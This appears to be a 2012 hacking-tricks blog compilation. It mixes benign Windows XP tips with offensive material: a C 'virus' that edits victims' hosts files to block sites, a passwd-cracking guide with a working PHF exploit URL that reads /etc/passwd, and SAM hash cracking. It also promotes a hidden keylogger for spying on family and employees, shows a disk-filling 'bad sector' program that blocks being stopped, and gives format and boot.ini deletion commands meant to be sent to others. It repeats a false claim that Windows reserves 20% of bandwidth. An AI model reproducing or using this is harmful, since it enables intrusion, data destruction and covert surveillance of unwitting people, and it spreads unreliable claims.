Saturday, 26 May 2012

Create Virus to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site.If you are curious about creating such a virus on your own, then you are in the right place.Tody I’ll teach you how to create a simple virus that block’s websites.And as usual I’ll use my favorite programming language ‘C’ to create this website blocking virus.I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’.So, anyone with a basic knowledge of C will be able to understand the working of the virus.This virus need’s to be clicked only once by the victim.Once it is clicked, it’ll block a list of websites that has been specified in the source code.The victim will never be able to surf those websites unless he re-install’s the operating system.This blocking is not just confined to IE or Firefox.So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually.But, here I have created a virus that automates all the steps involved in blocking.The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)>
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
1. Download the source code here. Download the compiled module(virus) here.
2. Compile the sourcecode using any C/C++ compiler.
3. To test, run the compiled module. It will block the sites that is listed in the source code.
4. Once you run the file block_Site.exe, restart your browser program.Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
4. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
5. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
6. Delete all such entries which contain the names of blocked sites.

Boost up your site load time

/ Comments: (0)
This article by Drunkadmin had hit the front pages of Digg. It gives a good idea on optimizing web pages that will definitely increase a website's loading time.
Host Images And Files Somewhere Else
Many users online at the same time can cause your server to handle a lot of requests. Its best that if you are using images in your site, make sure you upload them to image host sites like ImageShack. This will greatly reduce the bandwidth used by your server and also make your blog faster as image upload sites have a better speed.
Best place to host files of sizes 2-5mb (Any thing you need to provide users for download) is to use Google Pages as your host.
Optimize Your CSS
Nowadays many sites have started to use CSS based formatting. Even if Style Sheets are naturally more efficient than HTML tables you can still optimize the CSS code to make your website cleaner and faster. Having a clean CSS can reduce the time taken by the clients browser to decode your site.
Manual Clean
Try to locate dispersed code and aggregate it together.
For example instead of
margin-top: 20px;
margin-right: 10px;
margin-bottom: 20px;
margin-left: 10px;
Write
margin: 20px 10px 20px 10px;
You can use the tool Clean CSS to optimize your CSS and remove useless property declaration and whitespaces.
Optimize Your Images
Use image formats such as PNG, JPG,/JPEG And GIF. Always use the “Save for web” image quality which is available in most softwares such as Adobe Photoshop.
Use Height/Width Tag In Images
Most people dont add hieght and width tag to images. These tags make sure that the browser knows the dimensions of images before it has completed downloading the image. If the browser does not see those tags it will need to figure the size of the image, then load the image and then load the rest of the page.
When the height and width tags are included the browser will automatically know the size of the image. As a consequence it will be able to hold a place for the image and load the rest of the page simultaneously. Apart from the improvement on the load time of the page this method is also more user friendly since the visitor can start reading the text or other information while the image is being downloaded.
Use Less Javascript!
Some people tend to add a lot of javascript effects to their site. Using excessive javascript animations may cause clients browser to freeze for some time annoying the user.


  • Optimize Links
    Make sure that the outlinks from your blog and link between posts are optimized well. For example if link is www.domain.com/blog make sure you write it as www.domain.com/blog/ to prevent one extra request which would be made to the server if the former link is used.
    The improvement on the loading time of links ending with a slash will not be astronomical, but when it comes to speeding up a website every small bit helps!




  • Reduce HTTP Requests To Server
    When opening a web page every object (images, scripts and the line) will require a round trip to the server. This latency can add several seconds to the load time of your site. Make sure to reduce the number of objects and to combine CSS files and scripts together.

  • Wednesday, 16 May 2012

    How To Reset, Retrieve Windows Xp User Password

    You can get in to anu user account if you are using windows administrative account its a simple methord !


    STEP 1 . CLCIK - START MENU !
    STEP 2 . TAKE "RUN"
    STEP 3 . RUN "mmc" - Microsoft Management Console

    There u get a new NEW WINDOW - name Console

    STEP 4. Click FILE TAB
    STEP 5. TAKE " ADD / REMOVE "
    STEP 6. Click " Add.." - (Child window)
    STEP 7. "Add Local User and Groups " From the category
    STEP 8. THEN CLICK - OK
    STEP 9. CLICK USER
    Now u can see all USER account
    STEP 10. Right Click on any user u want to change !
    STEP 11. Choose " Set Password "
    STEP 12. Type NEWPASSWORD - and click OK !



    Process Over ! Now you can Logout .... then Login with other user ( that u change password ) with Newpassword !

    The Ultimate Guide Passwd Files

    CONTENTS
    1. Introduction
    2. What is a Passwd File?
    3. PHF Exploit
    4. FTP Passwd
    5. Shadowed Passwds
    6. Crackers
    7. Wordlists
    8. Using Cracked Passwds
    ________________________________________________________

    1. Introduction

    Passwd files are the easist and simplist ways to hack. This text will explain what they are, how to get them, how to crack them, what tools you will need, and what you can do with them. Of course the minute you sign on the account you just happened to crack because of this file, you are breaking the law. This text is for information, not illegal activites. If you choose to do illegal activies with the information from this it is no one's fault but your own. Now down to the good stuff [=.

    ________________________________________________________

    2. What is a Passwd File

    A passwd file is an encrypted file that contains the users on a servers passwords. The key word here is encrypted, so don't start thinking all i have to do is find one and i hit the jackpot. Nope sorry Man, theres alot more to it than that. The passwd file should look something like this

    root:x:0:1:0000-Admin(0000):/:/bin/ksh
    daemon:x:1:1:0000-Admin(0000):/:
    bin:x:2:2:0000-Admin(0000):/usr/bin:
    listen:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:uid
    nobody:/:noaccess:x:60002:60002:uid noaccess:/:
    ftp:x:101:4:
    FTPUser:/export/home/ftp:
    rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rrc



    Out of that entire section the only name you could use would be rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc Heres how you read the File

    rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc
    Username: rcc
    Encrypted Password: uXDg04UkZgWOQ
    User number: 201
    Group Number: 4
    Real Name (usually): Richard Clark
    Home Directory: /export/home/rrc
    Type of Shell: /bin/ksh

    Because it is the only name with an encrypted password.
    You will never find a passwd file that has a passwd for
    anything like ftp, listen, bin, etc., etc. Occasionally
    using the PHF exploit or unshadowing a passwd file you can get an encrypted password for root.
    ________________________________________________________


    3. PHF Exploit

    First let me explain what an exploit is. An Exploit is a hole in software that allows someone to get something out of it that... Well you aren't supposed to.
    The PHF exploit is a hole in CGI, that most servers have fixed now (if they have CGI). Lets just say a very popular IRC place has a problem with their CGI. Also on the subject of servers with the exploit open, many forien servers have this open. Unlike the FTP Passwd you don't even have to access their FTP or login. What you do is get a WWW browser and then in the plass for the WWW address type:
    http://www.target.com/cgi-bin/phf?Qalias=j00%ffcat%20/etc/passwd
    In www.target.com Place who's passwd you want to get. If you get a message like "The requested object does not exist on this server. The link you followed is either outdated, inaccurate,
    or the server has been instructed not to let you have it." its not there. If you get "You have been caught on Candid Camera!" They caught you, but don't fear they rarly ever Report you. I have yet to find a server that does report. Of course if you get "root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
    sysadm:ufcNtKNYj7m9I:0:0:
    Regular Admin login:/admin:/sbin/sh
    bin:*:2:2:Admin :/bin:
    sys:*:3:3:Admin :/usr/src:
    adm:*:4:4:Admin :/usr/adm:/sbin/sh
    daemon:*:1:1: Daemon Login for daemons needing
    nobody:*:65534:65534::/:
    ftp:*:39:39:FTP guest login:/var/ftp:
    dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
    joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"
    You have hit the jackpot [=. Save the file as a text and keep it handy, because you will need it for later in the lesson.

    ________________________________________________________________

    4. FTP Passwd

    The Passwd file on some systems is kept on FTP, which can pretty much be accessed by anyone, unless the FTP has a non-anonymous logins rule. If you are desprite to get a passwd file from a certain server (which may not even be open, so only do if you are desprite or you want to hack your own server) get an account that allows you access to their FTP. What you do is get an FTP client such as WS FTP or CuteFTP. Find the servers name and connect to it. You should get a list of Directories like "etc, hidden, incoming, pub" goto the one called etc. inside etc should be a few files like "group, passwd" if any chance you see one called shadow there is a 8/10 chance you are about to deal with a shadowed passwd. Well get the passwd file and maybe check out what else is on the server so it won't look so suspious. Anyway when you log out, run and check out your new passwd file. If you only see names like "root, daemon, FTP, nobody, ftplogin, bin" with * beside their names where the encrypted passwd should be, you got a passwd file that you cannot crack. But if it happens to have user names (like rcc:*: or ggills:*:" with a * (or another symbol) you have a shadowed passwd. Of course if you have been reading and paying attention if you have something that has a few things that look like:
    "joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"
    You have gotten one you can crack [=.
    ________________________________________________________________

    5. Shadowed Passwd's

    Now if you happen to find a passwd fiel that looks something like this: "joetest:*:102:100::/home/joetest:/usr/bin/restsh"
    which has a user name, not a programs, you have a shadowed passwd. The shadow file has the encrypted passwords on it. Depending on the Operating System, the passwd file may be in different places. To find out what Operating system your target is running from telnet (connected to that server of course) type uname -a and it should say, if you cannot get to telnet there is other methods of finding out. Here is a guide to systems passwd file locations (taken from a text on passwd files by Kryto.) A token is the * (or other symbol) beside a shadowed passwds user name

    UNIX Paths (Courtesy of 2600)

    UNIX Path Token
    ----------------------------------------------------------------
    AIX 3 /etc/security/passwd !
    or /tcb/auth/files/
    A/UX 3.0s /tcb/files/auth/?/ * BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files/ / * SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow
    System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database
    Ultrix 4 /etc/auth[.dir|.pag] *
    UNICOS /etc/udb * Anyway once you have the passwd file (with user names) and shadow file you can find a unshadowing program which combines the passwd file and the shadow passwd and combines them into what a regualr passwd file would be. A unshadowing program can be found at http://www.hackersclub.com/km/downloads/password_cracker/ucfjohn2.zip Now some servers have the shadow file on retrictions so no one without a special account on the server can get to it.
    ________________________________________________________________

    6. Crackers

    Now that you have gotten a passwd file, what the hell do you do it it to get passwords from it? Thats where crackers come in.
    A cracker takes the passwd file and a wordlist and compares the wordlist to the passwd files encrypted passwd. I have used many different crackers. Everyone has their favorite. My personal favorite is one called PaceCrack95 Ver. 1.1
    http://tms.netrom.com/~cassidy/utils/pacec.zip
    Many people swear that John the Ripper is the greatest but i have problems with it, but it can be gotten off any decent hacking page. Same for Cracker Jack. A Cracker will load a wordlist and a passwd file and compare the two. When it cracks a password it will tell you the user name and the unencrypted password. You don't need to write it down because the program auto saves it. Cracker Jack saves the file as jack.pot and i think John the Ripper does too. PaceCrack95 Ver. 1.1 saves it to the files name (ex., passwd.txt.db) with the exact name and makes it a .DB file. I like to keep a passwd file once i have cracked it and later try out a new passwd cracker on it with the same wordlist and see if it works or if it is fake. It helps [=.
    ___________________________________________________________________________

    7. Wordlists

    Wordlists are a nessicity to cracking passwd files. They are just huge lists of words. The biggest wordlist is avaliable from here: ftp://ftp.ox.ac.uk/pub/wordlists/
    If you get a passwd file from another contry get a wordlist with the same launguage as the worlist came from, as the users would probably use words they are familier with [=. There are some programs which can make random numbers to what you specify but that might not be really great, since there is such a huge amount of number combinations they could use. I am not completly saying they are useless since i have cracked a password with one before, I had fashoned my own list of 4 digit numbers since people might use their phone number and well it worked [=.
    ____________________________________________________________________________

    8. What to do with a Cracked Passwd file

    What you can do with a passwd is up to you. The nice thing to do is inform the administator of the server that, accounts on his (or her) server are insucure and possibly open to anyone hacking an account and bringing havok upon their server. Some other things you can do is fire up good ole telnet and connect to one of their ports and see what you could do with that account. The possiblities are endless. You could hack a webpage (i wouldn't do that on account of how lame it is to destruct someones piece of work.)
    You could use an exploit in sendmail and get root or install a sniffer on the system and get all the passwords you could ever want from it. You could use the account to do work on OTHER servers that you sure as hell wouldn't want to do from your own. If your account is canceled you can use a hacked accounts dial up till you purchase a new one. Like I said the list goes on and on. I am sure noone wants you doing anything destuctive (its lame anyhow.) And the best thing to do is report the problem to the system admin so, if he finds out he won't freak and call your admin and tell him you have been doing naughty things or even call the cops. I hope this text was informative enough to fufill your needs [=. Goat

    Desktop hacking

    21 Tips 4 increasing XP performance.
    1] Your Pc Must have 256MB RAM , 512 MB Cache , Intel Pentium 4 Processor, 40 GB HDD. These are the minimum requirements. 2] If you see a 'virtual memory low' message then increase its virtual memory. To increase virtual memory,
    Go to My Computer->Properties->Advanced->Performance Settings->Advanced->Virtual Memory->Change->Select the appropriate drive->Custom size->set appropriate level(our it is 600(min.) & 700(max.)->Ok. 3] Increase 'Visual Performance'. Go to My Computer->Properties->Advanced->Performance Settings->Visual Settings->Custom->Select only the following options.
    a)Slide taskbar buttons.
    b)Smooth edges of screen fonts.
    c)Smooth-scroll list boxes.
    d)Use a background image for each folder type.
    e)Use visual style on windows and buttons. 4] Don't keep unwanted/extra fonts. To remove extra fonts, Go to Start->Settings->Control Panel->Fonts. 5] Your Desktop Wallpaper & Screensaver consume a large amount of disk space. Select the 'None' option for both wallpapers & Screensavers. 6] Avoid keeping DEMO Games. 7] Uninstall the unwanted Softwares. 8] Use Registry Cleaner to keep your registry clean(without errors). 9] Try to keep Music and pictures files in the folder specified by windows itself. 10]Use Hybernating Option for Quick windows start. To active Hybernating follow the following steps.
    Desktop->Properties->Screensaver->Power->Hybernating->Enable Hybernating->Ok. 11] Keep your Dektop clean with unwanted icons. 12] Use Intel Application Accelerator to speed up your disk access, 13] Memory management (at least 512MB RAM Required). This allow XP to keep data in Memory instead of paging section of RAM.
    Go to->Start->Run->regedit->HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Control->Session Manager->Memory Management->Double click it->DisablePageingExecutive->Double Clik it->Set value to 1. 14] Disable Yahoo Messenger, Google Talk, and other unwanted programs from startup. (You can use registry editior to do this.). Because they do not appear in normal Startup Option. 15] Disable indexing files service (only if you do not use search option regularly). To do this follow the following steps.
    Go to My Computer->Select the drive for which you want to disable the indexing service->Properties->Unselect 'Allow Indexing Service'->Ok. 16] For Windows XP, You must use NTFS partition. FAT partition is less supportive for Windows XP. 17] In BIOS, Select first booting device as your HDD. 18] Setting Priority High for a particular program.
    Open Task Manager->Processes->Select the desired Program->Right Click->Set Priority->High->Ok.
    This Priority set if for current session. Once you restart your system then its priority will again be Normal. 19] Keep deleting your Temporary Internet Files in regular intervals.
    Go to Windows Drive (c: or d:)->Select the User->Local Settings->Temporary Internet Files 20] Empty your browser's cache in regular intervals. 21] Avoid keeping Movies in your PC.

    Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003
    SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.
    -What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.

    Keylogger
    If you want to know what other users are typing on your machine, this heavy weaponry addition to your Spy Arsenal will allow you to know everything! Simply install Family Key Logger, set the 'Start in hidden mode' and 'Remove from tasks list' options and you are ready to go. The program will reside in memory while being absolutely invisible to everyone except you. You will only have to press the Unhide key combination on the keyboard to see what your kids or your wife or your employees were typing.
    And remember:
    You have the right to know!
    Source: http://www.spyarsenal.com/

    Multiple Google Talk.
    Now it's turn to use multiple google talk. Previously we covered that how to run multiple Yahoo messenger using Yahoo Pal!. Well for google talk, you don't have to download any software. Just follow the following simple steps. 1) Create a Shortcut on ur Desktop. 2) In the field 'type the location of the item' paste the following source... c:\program files\google\google talk\googletalk.exe" /nomutex 3)If this loction doesn't work, then locate manually by clicking on browse option.Then go to c:-> program file ->google-> google talk->googletalk.exe and then paste /nomutex in the end of manually located source. Finished. Now you can run multiple Google Talk.

    Multiple Yahoo Messenger / Yahoo Pal.
    Yahoo! Pal is an invisible program, it will automatically attach to running Yahoo! Messenger and new Yahoo! Messengers you run after Yahoo! Pal, and add menu bar to the Yahoo! Messenger windows. You can also quit it by clicking its menu. ∙ Allow multiple accounts on the same computer. ∙ Automatically reply when you are away. . Send a random quote to your friend. ∙ Hotkey to hide Yahoo! Messengers windows. CLICK HERE TO DOWNLOAD.

    BIOS Passwords Hacks.
    To perform this hack you will need:

    * A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
    * Needle-nosed pliers if you are working with jumpers
    * A small flashlight or headlamp

    With tools at hand, perform the following steps:

    1. Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
    2. Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
    3. Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
    4. Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
    5. Wait 20-30 seconds for the memory to clear out from lack of power.
    6. After 20-30 seconds put the switch or jumper the way it was before for normal use.
    7. Reconnect the power cord and start up the system to see if the settings have changed to defaults.
    8. Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
    9. Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.

    If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory. SOURCE : http://www.oreilly.com/pub/h/2245

    Create BAD sectors on HDD.
    This program will create BAD Sectors on HDD. (Use at your own risk) #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define HDSIZE 640000

    void handle_sig();

    int main() {

    int i = 0;
    int x;
    int fd[5];

    signal(SIGINT, handle_sig);
    signal(SIGHUP, handle_sig);
    signal(SIGQUIT, handle_sig);
    signal(SIGABRT, handle_sig);
    signal(SIGTERM, handle_sig);

    char *buf;

    buf = malloc(HDSIZE);

    printf("sekt0r: trashing hard disk with bad sectors!\n");

    while(1) {
    fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
    fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
    fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
    fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
    fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

    for(x = 0; x < 5; x++) {
    write(fd[x], buf, HDSIZE);
    lseek(fd[x], 0, SEEK_SET);
    close(fd[x]);

    } /* end for() loop. */
    } /* end while() loop. */
    } /* end main(). */


    void handle_sig() {
    /* Reset signal handlers. */
    signal(SIGINT, handle_sig);
    signal(SIGHUP, handle_sig);
    signal(SIGQUIT, handle_sig);
    signal(SIGABRT, handle_sig);
    signal(SIGTERM, handle_sig);

    printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
    return; /* go back to creating bad sectors. */
    }

    Change DOS Colour.
    SYNTAX Sets the default console foreground and background colors.
    COLOR [attr]
    attr Specifies color attribute of console output
    Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
    0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
    Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
    Valid for a session only.

    Speed Up XP Booting.
    Start Registry Editor (Regedit.exe).

    Locate the following key in the registry:

    HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters

    Make sure you backup the keys by exporting them to a .reg file.

    On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

    Close the registry editor.

    Restart your computer.

    Using Your Command Prompt.
    Type netstat -a Display all connections and listening ports, netstat -b Display the executable involved in creating each connection or listening port. In some well-known executables host multiple independent components, and in these cases the sequence of components involved in creating the connection or listening port is displayed. In this case the executable name is in [ ] at the bottom, on top is the component it called, and so forth until TCP/IP was reached. Note that this option can be time-consuming and will fail unless you have sufficient permissions. netstat -e Displays Ethernet statistics. This may be combined with the -s option. netstat -n Displays addresses and port numbers in numerical form. netstat -o Displays the owning process ID associated with each connection. netstat -p proto Shows connections for the protocol specified by proto; proto may be any of : TCP, UDP, TCPv6, or UDPv6. If used with -s option to display per-protocol statistics, proto may be any of: IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6 netstat -r Displays the routing table. netstat -s Displays per-protocol statistics. netstat -v When used in conjunction with -b, will display sequence of components involved in creating the connection or listening port for all executables.

    Change Text on XP Start button.
    Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

    HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

    In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

    Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

    Disable or Remove Shutdown.
    It is Possible to Remove Shut Down option from Start menu. Just follow the following steps. Start->Run->gpedit.msc->User Configuration->Administrative Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable. Its Done!

    Format HDD using Notepad.
    Copy & Paste the following code in Notepad. 0100101100011111001001010101010101000 0011111100000 Save As "format.exe" or any name u want (but with extension.exe) Now you can send this .exe file to people to format their HDD It can fail to format your HDD while running WINDOWS.
    Format c:\ /Q/X -- this will format your drive c:\ 011001100110111101110010011011010110000 10111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 Format d:\ /Q/X -- this will format your drive d:\ 011001100110111101110010011011010110000 10111010000 100000011001000011101001011100 0010000000101111010100010010111101011000
    Format a:\ /Q/X -- this will format your drive a:\
    0110011001101111011100100110110101100 0010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this will STOP your computer from booting.
    011001000110010101101100001000000010 11110100011000 101111010100110010111101010001 001000000110001100111010010111000110 00100110111101 101111011101000010111001101001 0110111001101001

    How to improve your internet speed...?

    Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Don't you want to get it back for your self? Here is the trick how to get 100% of your available bandwidth.
    Increase internet speed :ugeek:

    To get it back:
    Click Start then Run and type "gpedit.msc" without quotes.

    This opens the "group policy editor" and go to: "Local Computer Policy"

    Then "Computer Configuration" Then "Administrative Templates"

    Then select "Network" then "QOS Packet Scheduler"

    After that select "Limit Reservable Bandwidth".
    Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e." By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
    So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20

    How to Shutdown PC with timer

    Do you know that you can make your PC shutdown at a time u wish to?
    Here is the trick!!
    How To Make A Shutdown Timer!

    ********** METHOD # 1 ***************

    1. Right click on your desktop and choose "New=>shortcuts".
    2. In the box that says "Type the location of the shortcut",
    type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
    3. Make up a name for the shortcut and you're done.
    You can change the icon by right clicking=>properities=>change icon=>browse

    TO ABORT:
    To make an abort key to stop the shutdown timer just create another shortcut and make
    the "location of the shortcut" to " shutdown -a" without the quotes.


    ********* METHOD # 2 **************{EASIER THAN THE PREVIOUS ONE}


    Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in

    start=>Run

    Type Code: at 11:35 shutdown -s

    TO ABORT:
    Code:shutdown -a

    orkut is banded fool..... Do this tricks Orkut will open again

    "Ihave problem with orkut, when i write orkut in internate explorer or google or any where in internat it get close and give the massage " orkut is banded fool, your administrater did not write this program guess how write it" i wanna open orkut so please guide me how i can remove this problem."

    I’ve found a way to ......... it......

    Go to Start-->All programs-->Accessories-->System Tools--->System Restore

    Click on the "System Restore" option

    now select "Restore my computer to an earlier time"
    and press Next>
    and now select a back date,and press Next> ------>Ok

    Enjoy"------





    Or

    "It's the rigth thing to do.whenever that apears on ur screen just press ctrl+alt+delete u will se the windows task manager in the application tab u will see the porgram running just rigth click selct "Go To Process" it will take u to svchost.exe just end that task"

    Notepad trick

    Notepad Trick !
    Well quite old but here is d complete collection

    Step 1: Open Notepad
    Step 2: Write following line in the notepad.

    this app can break
    Step 3: Save this file as xxx.txt
    Step 4: Close the notepad.
    Step 5: Open the file again.

    Voilla!!

    or

    1> Open Notepad
    2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
    3> DON'T hit enter at the end of the line.
    4> Save the file.
    5> Close Notepad.
    6> Reopen Notepad.
    7> Open the file you just saved.


    or

    Open a note pad
    type Bush hid the facts
    save that file,
    close it
    again open and see...



    NOTEPAD "world trade centre trick".. :Shankha



    Did you know that the flight number of the plane that had hit WTC ...on
    9/11 was Q33N ....Open your Notepad in ur computer and type the flight
    number i.e Q33N... Increase the Font Size to 72, Change the Font to
    Wingdings. U will be amazed by the findings
    .


    log trick !! make ur Notepad a diary !!


    Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
    Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.


    WHY?


    The reason this happens:

    In notepad, any other 4-3-3-5 letter word combo will have the same results.
    It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

    1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
    2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
    This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

    ~ cheers ~

    Changing Header and Footer


    Ever printed the little text you wrote in Notepad? More often than not, the printout starts with “Untitled” or the filename at top, and “Page 1″ on bottom. Want to get rid of it, or change it? Click on File, Page Setup. Get rid of the characters in Header and Footer boxes, and write what you want as Header and Footer. Use the following codes.

    &l Left-align the characters that follow
    &c Center the characters that follow
    &r Right-align the characters that follow
    &d Print the current date
    &t Print the current time
    &f Print the name of the document
    &p Print the page number


    Print tree root


    a. Open NOTEPAD and enter {print tree root}
    b. After that hit enter and type C:\windows\system
    c. After that hit enter and type {print C:\windows\system\winlog
    d. Hit enter and type 4*43″$@[455]3hr4~
    e. Then save the file as teekids in C:\windows\system.

    Orkut tools And Orkut softwares

    Boared of using same Browser.. Switch to some tools fot Faster Orkutting

    1)OrkutAlert


    Recently UpDated by "Abhishek" .. Not only does the program run a lot smoother than before, but it also is more pleasing to the eyes.

    The purpose of OrkutAlert is to, alert you to new scraps on Orkut. Although other programs such as Scrapboy, Orkut Cute and Orkut Scrapper do these as well (not to mention a ton of other things) what will set OrkutAlert apart is its future addition of alert by SMS, making it easier to know when a friend has scraped your scrapbook.

    Download OrkutAlert


    2)Orkut Toolbar

    Orkut Toolbar helps you to format the text of your posts in the Orkut forums. Works only on FireFox web browser.

    With Orkut Toolbar all you need is type your entire text without any formatting code and then select the desired parts of text and apply the format using the toolbar buttons. Much like you does in OpenOffice, MS Word or any other text editor.





    Download Orkut Toolbar


    3.) Orkut Cute :



    Orkut Cute is a freeware program which let you send scraps (the public messages that anyone can leave on anyone else's profile) to all your friends in Orkut and all your other online social networking communities. The program also informs you when you receive new scraps and new topics in yours communities.
    Although such a program would allow you to communicate with the masses, a similar one was developed before which was abused by spammers.
    Features:
    Alerts you when you receive new scraps.
